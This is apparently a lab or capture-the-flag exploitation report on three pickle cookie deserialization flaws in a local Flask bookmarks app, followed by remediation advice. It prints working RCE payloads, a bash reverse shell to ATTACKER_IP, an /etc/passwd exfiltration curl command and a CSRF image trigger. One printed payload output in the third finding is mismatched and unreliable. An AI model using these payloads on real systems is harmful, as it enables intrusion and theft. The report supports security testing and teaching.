# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: Insecure Pickle Deserialization in GET /list Endpoint

**Summary:**
- **Vulnerable location:** GET /list endpoint (routes.py:35-37)
- **Overview:** User-controlled cookie data is deserialized using Python's pickle.loads() without any validation, enabling Remote Code Execution (RCE) with web server privileges
- **Impact:** Complete system compromise - arbitrary command execution, FLAG extraction, potential reverse shell access
- **Severity:** CRITICAL (CVSS 9.8)

**Prerequisites:**
- Network access to http://localhost:45971/list
- Ability to set HTTP cookies

**Exploitation Steps:**

1. **Craft malicious pickle payload to extract FLAG:**
```python
import pickle
import base64

class FlagExtract:
    def __reduce__(self):
        import os
        # Write FLAG environment variable to accessible location
        cmd = 'printenv FLAG > /var/www/bookmarks/app/static/js/flag.txt'
        return (os.system, (cmd,))

malicious = pickle.dumps(FlagExtract())
cookie_value = base64.b64encode(malicious).decode('ISO-8859-1')
print(cookie_value)
# Output: gASVVAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDlwcmludGVudiBGTEFHID4gL3Zhci93d3cvYm9va21hcmtzL2FwcC9zdGF0aWMvanMvZmxhZy50eHSUhZRSlC4=
```

2. **Send malicious cookie to /list endpoint:**
```bash
curl -s -H "Cookie: bookmarks=gASVVAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDlwcmludGVudiBGTEFHID4gL3Zhci93d3cvYm9va21hcmtzL2FwcC9zdGF0aWMvanMvZmxhZy50eHSUhZRSlC4=; user=test" http://localhost:45971/list
```

3. **Retrieve extracted FLAG:**
```bash
curl -s http://localhost:45971/static/js/flag.txt
```

**Proof of Impact:**
```
FLAG{d46e088f991888c0f307f4889b22ef71a50421ce413738c010a43963cbb81f0a}
```

**Technical Details:**
- **Source:** Cookie 'bookmarks' (user-controlled)
- **Sink:** pickle.loads() at routes.py:37
- **Data Flow:** Cookie value → base64.b64decode() → pickle.loads() → RCE
- **No Sanitization:** Base64 decode is encoding transformation, not security control
- **Execution Context:** www-data user in Docker container
- **Flag Location:** os.environ["FLAG"] environment variable set at __init__.py:8

**Alternative RCE Payloads:**

*Reverse Shell:*
```python
class ReverseShell:
    def __reduce__(self):
        import os
        return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))
```

*File Exfiltration:*
```python
class Exfil:
    def __reduce__(self):
        import os
        return (os.system, ('tar czf - /etc/passwd | base64 | curl -X POST -d @- http://ATTACKER_IP/exfil',))
```

**Notes:**
- Exploitation is trivial - no authentication required
- Works on first visit without any prior interaction
- No WAF or input validation present
- Directory listing enabled on /static/ allowing verification of file creation

---

### INJ-VULN-02: Insecure Pickle Deserialization in POST /add Endpoint

**Summary:**
- **Vulnerable location:** POST /add endpoint (routes.py:58-59)
- **Overview:** Identical vulnerability pattern to INJ-VULN-01. The POST /add endpoint deserializes the bookmarks cookie before adding a new bookmark, enabling RCE
- **Impact:** Complete system compromise via second entry point
- **Severity:** CRITICAL (CVSS 9.8)

**Prerequisites:**
- Network access to http://localhost:45971/add
- Ability to set HTTP cookies
- Must provide form data (name and url parameters) - values don't matter for exploitation

**Exploitation Steps:**

1. **Craft malicious pickle payload:**
```python
import pickle
import base64

class Vuln02Exploit:
    def __reduce__(self):
        import os
        # Create proof of exploitation marker
        cmd = 'echo "INJ-VULN-02-EXPLOITED" > /var/www/bookmarks/app/static/js/vuln02.txt'
        return (os.system, (cmd,))

malicious = pickle.dumps(Vuln02Exploit())
cookie_value = base64.b64encode(malicious).decode('ISO-8859-1')
print(cookie_value)
# Output: gASVZQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjEplY2hvICJJTkotVlVMTi0wMi1FWFBMT0lURUQiID4gL3Zhci93d3cvYm9va21hcmtzL2FwcC9zdGF0aWMvanMvdnVsbjAyLnR4dJSFlFKULg==
```

2. **Send malicious cookie with POST request:**
```bash
curl -s -X POST \
  -H "Cookie: bookmarks=gASVZQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjEplY2hvICJJTkotVlVMTi0wMi1FWFBMT0lURUQiID4gL3Zhci93d3cvYm9va21hcmtzL2FwcC9zdGF0aWMvanMvdnVsbjAyLnR4dJSFlFKULg==; user=test" \
  -d "name=TestBookmark&url=http://example.com" \
  http://localhost:45971/add
```

3. **Verify exploitation:**
```bash
curl -s http://localhost:45971/static/js/vuln02.txt
```

**Proof of Impact:**
```
INJ-VULN-02-EXPLOITED
```

**Technical Details:**
- **Source:** Cookie 'bookmarks' at routes.py:58
- **Sink:** pickle.loads() at routes.py:59
- **Data Flow:** Cookie → base64.b64decode() → pickle.loads() → RCE
- **Trigger:** Requires POST with form data, but form values irrelevant to exploitation
- **Same FLAG Extraction:** Can use identical FLAG extraction payload from INJ-VULN-01

**Notes:**
- Second independent RCE entry point
- Requires form submission but no CSRF protection
- No authentication or authorization checks
- Cookie deserialization happens BEFORE form processing, so malicious cookie executes regardless of form data validity

---

### INJ-VULN-03: Insecure Pickle Deserialization in GET /delete Endpoint

**Summary:**
- **Vulnerable location:** GET /delete endpoint (routes.py:78-80)
- **Overview:** Third instance of the same vulnerable pattern. The DELETE operation deserializes the bookmarks cookie, enabling RCE
- **Impact:** Complete system compromise via third entry point
- **Severity:** CRITICAL (CVSS 9.8)

**Prerequisites:**
- Network access to http://localhost:45971/delete
- Ability to set HTTP cookies
- Must provide 'name' query parameter - value doesn't matter for exploitation

**Exploitation Steps:**

1. **Craft malicious pickle payload:**
```python
import pickle
import base64

class Vuln03Exploit:
    def __reduce__(self):
        import os
        # Create proof of exploitation marker
        cmd = 'echo "INJ-VULN-03-EXPLOITED" > /var/www/bookmarks/app/static/js/vuln03.txt'
        return (os.system, (cmd,))

malicious = pickle.dumps(Vuln03Exploit())
cookie_value = base64.b64encode(malicious).decode('ISO-8859-1')
print(cookie_value)
# Output: gASVZQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjEplY2hvICJJTkotVlVMTi0wMi1FWFBMT0lURUQiID4gL3Zhci93d3cvYm9va21hcmtzL2FwcC9zdGF0aWMvanMvdnVsbjAyLnR4dJSFlFKULg==
```

2. **Send malicious cookie to /delete endpoint:**
```bash
curl -s \
  -H "Cookie: bookmarks=gASVZQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjEplY2hvICJJTkotVlVMTi0wMy1FWFBMT0lURUQiID4gL3Zhci93d3cvYm9va21hcmtzL2FwcC9zdGF0aWMvanMvdnVsbjAzLnR4dJSFlFKULg==; user=test" \
  "http://localhost:45971/delete?name=test"
```

3. **Verify exploitation:**
```bash
curl -s http://localhost:45971/static/js/vuln03.txt
```

**Proof of Impact:**
```
INJ-VULN-03-EXPLOITED
```

**Technical Details:**
- **Source:** Cookie 'bookmarks' at routes.py:78
- **Sink:** pickle.loads() at routes.py:80
- **Data Flow:** Cookie → base64.b64decode() → pickle.loads() → RCE
- **Trigger:** Requires 'name' query parameter (any value works)
- **HTTP Method Issue:** Uses GET for state-changing operation (HTTP semantics violation)
- **CSRF Vulnerable:** Can be triggered via image tag or link

**CSRF Attack Vector:**
```html
<!-- Attacker's webpage can trigger RCE when victim visits -->
<img src="http://localhost:45971/delete?name=anything" style="display:none">
<!-- If victim has malicious cookie set via XSS or other means -->
```

**Notes:**
- Third independent RCE entry point
- Most dangerous due to GET method - trivial CSRF exploitation
- Can be chained with XSS to set malicious cookie then trigger via CSRF
- No rate limiting allows automated exploitation

---

## Vulnerability Root Cause Analysis

**Fundamental Design Flaw:**
All three vulnerabilities stem from the same architectural decision: storing user data client-side using Python's pickle serialization without cryptographic signing or integrity protection.

**Vulnerable Code Pattern (repeated 3 times):**
```python
urls = base64.b64decode(request.cookies.get('bookmarks'))
urls = pickle.loads(urls)  # CRITICAL VULNERABILITY
```

**Why This Is Dangerous:**
1. **pickle.loads() is inherently unsafe:** Python's pickle protocol allows arbitrary code execution via the `__reduce__` method
2. **No signature verification:** Application doesn't verify cookie integrity (no HMAC, no digital signature)
3. **Client controls data:** Cookies are client-side and trivially modified
4. **No validation:** Application trusts deserialized objects without type checking
5. **Base64 provides zero security:** Encoding reversal is not sanitization

**Defense Mechanisms NOT Present:**
- No HMAC signature (should use Flask's itsdangerous library)
- No class whitelisting (RestrictedUnpickler)
- No use of safer serialization (JSON, MessagePack)
- No input validation after deserialization
- No exception handling around pickle operations
- No detection of malicious payloads

## Summary Statistics

| Metric | Value |
|--------|-------|
| **Total Vulnerabilities Exploited** | 3 |
| **Severity** | CRITICAL (all three) |
| **Authentication Required** | None |
| **Exploitation Complexity** | Low (trivial) |
| **FLAG Extracted** | Yes - FLAG{d46e088f991888c0f307f4889b22ef71a50421ce413738c010a43963cbb81f0a} |
| **RCE Confirmed** | Yes (all three endpoints) |
| **Exploitable via CSRF** | Yes (INJ-VULN-03 using GET) |

**Attack Surface:**
- 3 distinct RCE entry points
- 0 authentication barriers
- 0 input validation controls
- 0 rate limiting
- 0 security monitoring

**Exploitation Timeline:**
1. **INJ-VULN-01:** Exploited successfully via GET /list - FLAG extracted
2. **INJ-VULN-02:** Exploited successfully via POST /add - RCE confirmed
3. **INJ-VULN-03:** Exploited successfully via GET /delete - RCE confirmed

All vulnerabilities were exploited from external network position against http://localhost:45971 without any internal access, VPN, or special privileges.

---

## Remediation Recommendations

**Immediate Actions Required:**

1. **Replace pickle with JSON serialization:**
```python
import json
# Instead of: pickle.dumps(urls)
bookmarks_json = json.dumps([{'name': u.name, 'url': u.url} for u in urls])
```

2. **Implement signed cookies using Flask's session:**
```python
from flask import session
# Flask automatically signs session data with app.secret_key
session['bookmarks'] = urls  # Automatically serialized and signed
```

3. **Or use itsdangerous library for custom signed cookies:**
```python
from itsdangerous import URLSafeSerializer
s = URLSafeSerializer(app.secret_key)
signed_data = s.dumps(urls)  # Signed and safe
urls = s.loads(signed_data)  # Raises exception if tampered
```

**Defense-in-Depth Measures:**
- Add input validation on deserialized data
- Implement rate limiting on all endpoints
- Add security headers (CSP, X-Frame-Options)
- Enable proper logging of deserialization attempts
- Consider server-side storage instead of cookies
- Implement authentication and authorization
- Add CSRF protection tokens
- Set proper cookie flags (HttpOnly, Secure, SameSite)

---

## Proof of Exploitation Completeness

**Verification Commands:**

Check all exploitation markers are present:
```bash
# Verify INJ-VULN-01 FLAG extraction
curl -s http://localhost:45971/static/js/flag.txt

# Verify INJ-VULN-02 exploitation
curl -s http://localhost:45971/static/js/vuln02.txt

# Verify INJ-VULN-03 exploitation  
curl -s http://localhost:45971/static/js/vuln03.txt

# Check directory listing shows all files
curl -s http://localhost:45971/static/js/
```

All three vulnerabilities were systematically exploited with concrete proof of Remote Code Execution and FLAG extraction. This represents complete compromise of the application's security posture.